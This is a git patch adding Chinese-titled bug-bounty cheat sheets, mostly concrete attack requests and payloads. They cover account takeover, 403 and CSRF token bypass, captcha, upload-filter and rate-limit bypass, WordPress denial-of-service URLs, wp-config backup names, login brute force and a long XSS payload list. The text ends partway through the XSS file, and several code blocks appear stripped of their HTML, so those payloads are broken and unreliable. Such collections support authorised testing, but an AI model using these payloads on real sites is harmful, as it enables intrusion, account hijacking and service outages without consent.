From f0de94d534cf1027d19bd03f755cc09dd426f2af Mon Sep 17 00:00:00 2001 From: BaCde Date: Mon, 1 Feb 2021 00:01:05 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0AllAboutBugBounty=E9=A1=B9?= =?UTF-8?q?=E7=9B=AE=E7=9A=84=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../AllAboutBugBounty/Account Takeover.md | 20 ++ BugBounty/AllAboutBugBounty/Bypass 403.md | 54 ++++ BugBounty/AllAboutBugBounty/Bypass CSRF.md | 119 ++++++++ BugBounty/AllAboutBugBounty/Bypass Captcha.md | 59 ++++ .../AllAboutBugBounty/Bypass File Upload.md | 83 ++++++ .../AllAboutBugBounty/Bypass Rate Limit.md | 81 ++++++ BugBounty/AllAboutBugBounty/CMS/WordPress.md | 69 +++++ .../AllAboutBugBounty/Cross Site Scripting.md | 274 ++++++++++++++++++ .../AllAboutBugBounty/Denial Of Service.md | 64 ++++ .../AllAboutBugBounty/Exposed Source Code.md | 25 ++ BugBounty/AllAboutBugBounty/Framework/Zend.MD | 3 + .../AllAboutBugBounty/Framework/laravel.md | 26 ++ .../Host Header Injection.md | 45 +++ .../Insecure Direct Object References.md | 112 +++++++ .../AllAboutBugBounty/Password Reset Flaws.md | 88 ++++++ README.md | 6 + 16 files changed, 1128 insertions(+) create mode 100644 BugBounty/AllAboutBugBounty/Account Takeover.md create mode 100644 BugBounty/AllAboutBugBounty/Bypass 403.md create mode 100644 BugBounty/AllAboutBugBounty/Bypass CSRF.md create mode 100644 BugBounty/AllAboutBugBounty/Bypass Captcha.md create mode 100644 BugBounty/AllAboutBugBounty/Bypass File Upload.md create mode 100644 BugBounty/AllAboutBugBounty/Bypass Rate Limit.md create mode 100644 BugBounty/AllAboutBugBounty/CMS/WordPress.md create mode 100644 BugBounty/AllAboutBugBounty/Cross Site Scripting.md create mode 100644 BugBounty/AllAboutBugBounty/Denial Of Service.md create mode 100644 BugBounty/AllAboutBugBounty/Exposed Source Code.md create mode 100644 BugBounty/AllAboutBugBounty/Framework/Zend.MD create mode 100644 BugBounty/AllAboutBugBounty/Framework/laravel.md create mode 100644 BugBounty/AllAboutBugBounty/Host Header Injection.md create mode 100644 BugBounty/AllAboutBugBounty/Insecure Direct Object References.md create mode 100644 BugBounty/AllAboutBugBounty/Password Reset Flaws.md diff --git a/BugBounty/AllAboutBugBounty/Account Takeover.md b/BugBounty/AllAboutBugBounty/Account Takeover.md new file mode 100644 index 0000000..49447ea --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Account Takeover.md @@ -0,0 +1,20 @@ +## Account Takeover + +1. Using OAuth Misconfiguration + - Victim has a account in evil.com + - Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email + - Attacker changed his/her email to victim email. + - When the victim try to create an account on evil.com, it says the email already exists. + +2. Try re-sign up using same email +``` +POST /newaccount +[...] +email=victim@mail.com&password=1234 +``` +After sign up using victim email, try signup again but using different password +``` +POST /newaccount +[...] +email=victim@mail.com&password=hacked +``` \ No newline at end of file diff --git a/BugBounty/AllAboutBugBounty/Bypass 403.md b/BugBounty/AllAboutBugBounty/Bypass 403.md new file mode 100644 index 0000000..4b623f7 --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Bypass 403.md @@ -0,0 +1,54 @@ +# 403 Forbidden Bypass + +1. Using "X-Original-URL" header +``` +GET /admin HTTP/1.1 +Host: target.com +``` +Try this to bypass +``` +GET /anything HTTP/1.1 +Host: target.com +X-Original-URL: /admin +``` + +2. Appending **%2e** after the first slash +``` +http://target.com/admin => 403 +``` +Try this to bypass +``` +http://target.com/%2e/admin => 200 +``` + +3. Try add dot (.) and slash (/) in the URL +``` +http://target.com/admin => 403 +``` +Try this to bypass +``` +http://target.com/admin/. => 200 +http://target.com//admin// => 200 +http://target.com/./admin/./ => 200 +``` + +4. Add "..;/" after the directory name +``` +http://target.com/admin +``` +Try this to bypass +``` +http://target.com/admin..;/ +``` + + +5. Try to uppercase the alphabet in the url +``` +http://target.com/admin +``` +Try this to bypass +``` +http://target.com/aDmIN +``` + +Source: [@iam_j0ker](https://twitter.com/iam_j0ker) diff --git a/BugBounty/AllAboutBugBounty/Bypass CSRF.md b/BugBounty/AllAboutBugBounty/Bypass CSRF.md new file mode 100644 index 0000000..84b311f --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Bypass CSRF.md @@ -0,0 +1,119 @@ +# Bypass CSRF Token +1. Change single character +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa +``` +Try this to bypass +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab +``` + +2. Sending empty value of token +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa +``` +Try this to bypass +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token= +``` + +3. Replace the token with same length +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaa +``` +Try this to bypass +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaabaa +``` +4. Changing POST / GET method +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa +``` +Try this to bypass +``` +GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 +Host: target.com +[...] +``` + +5. Remove the token from request +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa +``` +Try this to bypass +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456 +``` + +6. Use another user's valid token +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=ANOTHER_VALID_TOKEN +``` + +7. Try to decrypt hash +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=MTIzNDU2 +``` +MTIzNDU2 => 123456 with base64 + +8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=vi802jg9f8akd9j123 +``` +When we register again, the request like this +``` +POST /register HTTP/1.1 +Host: target.com +[...] + +username=dapos&password=123456&token=vi802jg9f8akd9j124 +``` +If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part diff --git a/BugBounty/AllAboutBugBounty/Bypass Captcha.md b/BugBounty/AllAboutBugBounty/Bypass Captcha.md new file mode 100644 index 0000000..e55b84e --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Bypass Captcha.md @@ -0,0 +1,59 @@ +# Bypass Captcha +1. Try changing the request method, for example POST to GET +``` +POST / HTTP 1.1 +Host: target.com +[...] + +_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 +``` + +Change the method to GET +``` +GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1 +Host: target.com +[...] +``` + +2. Try remove the value of the captcha parameter +``` +POST / HTTP 1.1 +Host: target.com +[...] + +_RequestVerificationToken=&_Username=daffa&_Password=test123 +``` + +3. Try reuse old captcha token +``` +POST / HTTP 1.1 +Host: target.com +[...] + +_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123 +``` + +4. Convert JSON data to normal request parameter +``` +POST / HTTP 1.1 +Host: target.com +[...] + +{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"} +``` +Convert to normal request +``` +POST / HTTP 1.1 +Host: target.com +[...] + +_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 +``` + +5. Try custom header to bypass captcha +``` +X-Originating-IP: 127.0.0.1 +X-Forwarded-For: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +X-Remote-Addr: 127.0.0.1 +``` diff --git a/BugBounty/AllAboutBugBounty/Bypass File Upload.md b/BugBounty/AllAboutBugBounty/Bypass File Upload.md new file mode 100644 index 0000000..57f6bd3 --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Bypass File Upload.md @@ -0,0 +1,83 @@ +# Bypass File Upload +1. Change the ContentType +``` +POST /images/upload/ HTTP/1.1 +Host: target.com +[...] + +---------------------------829348923824 +Content-Disposition: form-data; name="uploaded"; filename="dapos.php" +Content-Type: application/x-php +``` +Change the Content-Type +``` +POST /images/upload/ HTTP/1.1 +Host: target.com +[...] + +---------------------------829348923824 +Content-Disposition: form-data; name="uploaded"; filename="dapos.php" +Content-Type: image/jpeg +``` + +2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file +``` +POST /images/upload/ HTTP/1.1 +Host: target.com +[...] + +---------------------------829348923824 +Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg" +Content-Type: application/x-php +``` +Change the request to this +``` +POST /images/upload/ HTTP/1.1 +Host: target.com +[...] + +---------------------------829348923824 +Content-Disposition: form-data; name="uploaded"; filename="dapos.php" +Content-Type: application/x-php +``` + +3. Upload the payload, but start with GIF89a; and +``` +POST /images/upload/ HTTP/1.1 +Host: target.com +[...] + +---------------------------829348923824 +Content-Disposition: form-data; name="uploaded"; filename="dapos.php" +Content-Type: image/gif + +GIF89a; +``` +And dont forget to change the content-type to image/gif + +4. Bypass content length validation, it can be bypassed using small payload +``` +() +``` + +5. Using null byte in filename +``` +file.php%00.gif +``` + +6. Using double extensions for the uploaded file +``` +file.jpg.php +``` + +7. Uploading an unpopular php extensions (php4,php5,php6,phtml) +``` +file.php5 +``` + +8. Try to randomly capitalizes the file extension +``` +file.pHP5 +``` + +9. Mix the tips! diff --git a/BugBounty/AllAboutBugBounty/Bypass Rate Limit.md b/BugBounty/AllAboutBugBounty/Bypass Rate Limit.md new file mode 100644 index 0000000..403963d --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Bypass Rate Limit.md @@ -0,0 +1,81 @@ +# Bypass Rate Limit +1. Try add some custom header +``` +X-Forwarded-For : 127.0.0.1 +X-Forwarded-Host : 127.0.0.1 +X-Client-IP : 127.0.0.1 +X-Remote-IP : 127.0.0.1 +X-Remote-Addr : 127.0.0.1 +X-Host : 127.0.0.1 +``` +For example: +``` +POST /ForgotPass.php HTTP/1.1 +Host: target.com +X-Forwarded-For : 127.0.0.1 +[...] + +email=victim@gmail.com +``` + +2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit. +``` +POST /ForgotPass.php HTTP/1.1 +Host: target.com +[...] + +email=victim@gmail.com%00 +``` + +3. Try changing user-agents, cookies and IP address +``` +POST /ForgotPass.php HTTP/1.1 +Host: target.com +Cookie: xxxxxxxxxx +[...] + +email=victim@gmail.com +``` +Try this to bypass +``` +POST /ForgotPass.php HTTP/1.1 +Host: target.com +Cookie: aaaaaaaaaaaaa +[...] + +email=victim@gmail.com +``` + +4. Add a random parameter on the last endpoint +``` +POST /ForgotPass.php HTTP/1.1 +Host: target.com +[...] + +email=victim@gmail.com +``` +Try this to bypass +``` +POST /ForgotPass.php?random HTTP/1.1 +Host: target.com +[...] + +email=victim@gmail.com +``` + +5. Add space after the parameter value +``` +POST /api/forgotpass HTTP/1.1 +Host: target.com +[...] + +{"email":"victim@gmail.com"} +``` +Try this to bypass +``` +POST /api/forgotpass HTTP/1.1 +Host: target.com +[...] + +{"email":"victim@gmail.com "} +``` diff --git a/BugBounty/AllAboutBugBounty/CMS/WordPress.md b/BugBounty/AllAboutBugBounty/CMS/WordPress.md new file mode 100644 index 0000000..d5f9d74 --- /dev/null +++ b/BugBounty/AllAboutBugBounty/CMS/WordPress.md @@ -0,0 +1,69 @@ +# WordPress Common Bugs + +1. Denial of Service via load-scripts.php +``` +http://target.com/wp-admin/load-scripts.php?load=react,react-dom,moment,lodash,wp-polyfill-fetch,wp-polyfill-formdata,wp-polyfill-node-contains,wp-polyfill-url,wp-polyfill-dom-rect,wp-polyfill-element-closest,wp-polyfill,wp-block-library,wp-edit-post,wp-i18n,wp-hooks,wp-api-fetch,wp-data,wp-date,editor,colorpicker,media,wplink,link,utils,common,wp-sanitize,sack,quicktags,clipboard,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-reply,json2,underscore,backbone,wp-util,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrate,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,esprima,jshint,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-bar,wplink,wpdialogs,word-count,media-upload,hoverIntent,hoverintent-js,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embed,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,site-health,privacy-tools,updates,farbtastic,iris,wp-color-picker,dashboard,list-revisions,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter +``` + +2. Denial of Service via load-styles.php +``` +http://target.com/wp-admin/load-styles.php?&load=common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,widgets,site-icon,l10n,install,wp-color-picker,customize-controls,customize-widgets,customize-nav-menus,customize-preview,ie,login,site-health,buttons,admin-bar,wp-auth-check,editor-buttons,media-views,wp-pointer,wp-jquery-ui-dialog,wp-block-library-theme,wp-edit-blocks,wp-block-editor,wp-block-library,wp-components,wp-edit-post,wp-editor,wp-format-library,wp-list-reusable-blocks,wp-nux,deprecated-media,farbtastic +``` + +3. Log files exposed +``` +http://target.com/wp-content/debug.log +``` + +4. Backup file wp-config exposed +``` +.wp-config.php.swp +wp-config.inc +wp-config.old +wp-config.txt +wp-config.html +wp-config.php.bak +wp-config.php.dist +wp-config.php.inc +wp-config.php.old +wp-config.php.save +wp-config.php.swp +wp-config.php.txt +wp-config.php.zip +wp-config.php.html +wp-config.php~ +``` + +5. Information disclosure wordpress username +``` +http://target.com/?author=1 +``` +``` +http://target.com/wp-json/wp/v2/users +http://target.com/?rest_route=/wp/v2/users +``` + +6. Bruteforce in wp-login.php +``` +POST /wp-login.php HTTP/1.1 +Host: target.com + +log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1 +``` + +7. XSPA in wordpress +``` +POST /xmlrpc.php HTTP/1.1 +Host: target.com + + +pingback.ping + +http://yourip:port + + +https://target.com> + + + +``` diff --git a/BugBounty/AllAboutBugBounty/Cross Site Scripting.md b/BugBounty/AllAboutBugBounty/Cross Site Scripting.md new file mode 100644 index 0000000..c9202b4 --- /dev/null +++ b/BugBounty/AllAboutBugBounty/Cross Site Scripting.md @@ -0,0 +1,274 @@ +# XSS Cheat Sheet (Basic) +1. Basic payload +```html + + + +``` + +2. Add ' or " to escape the payload from value of an HTML tag +```html +"> +'> +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +3. Add --> to escape the payload if input lands in HTML comments. +```html +--> +``` + +* Example source code +```html + +``` + +* After input the payload +```html + --> +``` + +4. Add when the input inside or between opening/closing tags, tag can be , and any other HTML tags + +```html + +"> +``` + +* Example source code +```html +1 +``` + +* After input the payload +```html +">1 +``` + +5. Use when input inside an attribute’s value of an HTML tag but > is filtered +```html +" onmouseover=alert(1) +" autofocus onfocus=alert(1) +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +6. Use when input inside +``` + +* Example source code +```html + +``` + +* After input the payload +```html +'; + +``` + +# XSS Cheat Sheet (Advanced) +7. Use when input lands in a script block, inside a string delimited value. +```html +'-alert(1)-' +'/alert(1)// +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash. +```html +\'alert(1)// +``` + +* Example source code +```html + +``` + +* If we input payload '-alert(1)-' it will be like this +```html + +``` +The quotes are escaped by a backslash so we need to bypass them + +* After input the payload +```html + +``` + +9. Use when there’s multi reflection in the same line of JS code +```html +/alert(1)//\ +/alert(1)}//\ +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc). +```html +'}alert(1);{' +\'}alert(1);{// +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +> Payload number 2 uses when quote escaped by backslash + +11. Use when input lands inside backticks delimited strings +```html +${alert(1)} +``` + +* Example source code +```html + +``` + +* After input the payload +```html + +``` + +12. Uses when there is multiple reflections on same page. (Double Reflection) +```html +'onload=alert(1)>alert(1)